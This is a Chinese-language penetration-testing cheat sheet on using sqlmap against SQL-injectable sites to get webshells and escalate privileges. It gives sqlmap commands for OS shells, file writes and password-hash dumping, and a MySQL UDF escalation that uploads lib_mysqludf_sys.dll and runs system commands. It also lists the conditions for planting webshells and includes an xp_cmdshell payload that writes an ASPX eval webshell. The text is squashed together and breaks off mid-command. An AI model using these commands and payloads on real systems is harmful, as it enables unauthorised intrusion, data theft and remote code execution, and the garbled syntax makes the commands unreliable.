渗透思路千万条,只要能去成功获取webshell选哪种方法都可以,所以不必一定纠结于必须要使用SQLmap。
一.sqlmap获取webshell及提权常见命令
1.sqlmap常见获取webshell的相关命令
(1)MSSQL判断是否是DBA权限
--is-dba
(2)数据库交互模式shell
--sql-shell
(3)操作系统交互命令
--os-cmd=netuser
这里一般是Windows的DOS命令或者Linux的终端命令
(4)文件读取和写入命令
--file-read=RFILE从后台数据库管理系统中读取文件--file-write=WFILE编辑后端数据库管理系统上的本地文件WFILE--file-dest=DFILE后端数据库管理系统写入文件的绝对路径
(5)数据库权限提升
--priv-esc数据库进程用户权限提升
(6)meterpreter提权(实际测试并未成功过,可以当作一个思路来记录)
--os-pwn获取一个OOBshell,meterpreter或者VNC--os-smbrelay一键获取一个OOBshell,meterpreter或者VNC--os-bof存储过程缓冲区溢出利用
(7)获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码
--passwords枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解
2.MySQL数据库直接连接提权
sqlmap.py-dmysql://root:root
xx.xx.xx.xx:/test--os-shell3.MySQL数据库sql-shell下UDF提权
(1)连接数据库
sqlmap.py-dmysql://root:root
xx.xx.xx.xx:/test--sql-shell(2)查看版本
select
version;(3)查看插件目录
select
plugin_dir;(4)操作sqlmap上传lib_mysqludf_sys到MySQL插件目录
sqlmap.py-dmysql:root:root
xx.xx.xx.xx:/test--file-write=D:/tmp/lib_mysqludf_sys.dll--file-dest=D::\\phpstudy\\bin\\mysql\\lib\plugin\\lib_mysqludf_sys.dll(5)创建sys_exec函数
CREATEFUNCTIONsys_execRETURNSSTRINGSONAMElib_mysqludf_sys.dll
(6)创建sys_eval函数
CREATEFUNCTIONsys_evalRETURNSSTRINGSONAMElib_mysqludf_sys.dll
(7)执行命令
selectsys_eval(ver);selectsys_eval(whoami);selectsys_eval(netuser);
4.MSSQL直连数据库
1.安装所需要的模块
pipinstallpymssqlpipinstallpyodbcapt-getinstallunixodbc-y
按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具。
二.直连获取shell(获取webshell或shell条件)
sqlmap-dmssql://sa:sa
..91.:/master--os-shell1.PHP+MySQL类型网站获取webshell
(1)MySQLroot账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可
(2)GPC配置关闭,能使用单引号
(3)有网站的绝对路径,且具备可以在文件夹写入文件的权限
(4)没有配置secure-file-priv属性
2.MSSQL+ASP/ASP.net类型网站获取webshell条件
(1)数据库用户是sa
(2)能够创建xp_cmdshell
(3)知道真实路径
(4)可以通过echo命令生成shell
;execmaster..xp_cmdshellecho^%
PageLanguage="Jscript"%^^%eval(Request.Item["bmfx"],"unsafe");%^C:\tools\fx.aspx;--三.获取webshell权限思路及命令
1.PHP类型网站获取webshell权限思路
(1)获取os-shell
sqlmap.py-u"